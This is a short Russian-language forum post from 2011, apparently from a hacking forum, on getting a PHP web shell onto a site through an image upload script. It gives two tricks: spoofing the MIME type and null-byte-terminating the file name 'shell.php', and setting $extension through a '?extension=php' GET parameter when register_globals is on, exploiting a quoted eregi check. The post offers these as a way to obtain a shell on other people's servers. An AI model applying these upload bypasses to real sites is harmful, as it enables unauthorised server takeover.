
06.07.2011, 18:05
|
|
Постоянный
Регистрация: 13.12.2008
Сообщений: 354
С нами:
9162683
Репутация:
175
|
|
Сообщение от XAMEHA
В переменную $_FILES['pic']['type'] подставляем слово JPEG (MIME-Тип(Tamper Data)).
В переменную $_POST['logo_name'] пишем название шелла(shell.php) Заполняя конец NUL-байтом.
Этот вариант с null байтом срабатывает довольно редко.
Но все это натолкнуло меня на одну мысль, если я не прав, тогда исправьте.
Вот здесь делаеться замечательная проверка:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if ([/COLOR][COLOR="#0000BB"]eregi[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"gif"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$filetype[/COLOR][COLOR="#007700"]) )
[/COLOR][COLOR="#0000BB"]$extension[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"GIF"[/COLOR][COLOR="#007700"];
elseif ([/COLOR][COLOR="#0000BB"]eregi[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"jpeg"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$filetype[/COLOR][COLOR="#007700"]) )
[/COLOR][COLOR="#0000BB"]$extension[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"JPEG"[/COLOR][COLOR="#007700"];[/COLOR][/COLOR]
Но что если ниодно из условий не выполниться? - $extension не перезапишется. Мы можем сделать так, что бы в переменной $_FILES['pic']['type'] не оказалось подстрок gif и jpeg и с помощью GET параметров указать значение $extension вот так:
Сообщение от None
http://site.ru/.../script.php?
extension=php
Мы снова должны получить шелл.
Зависимость: register_globals=on
|
|
|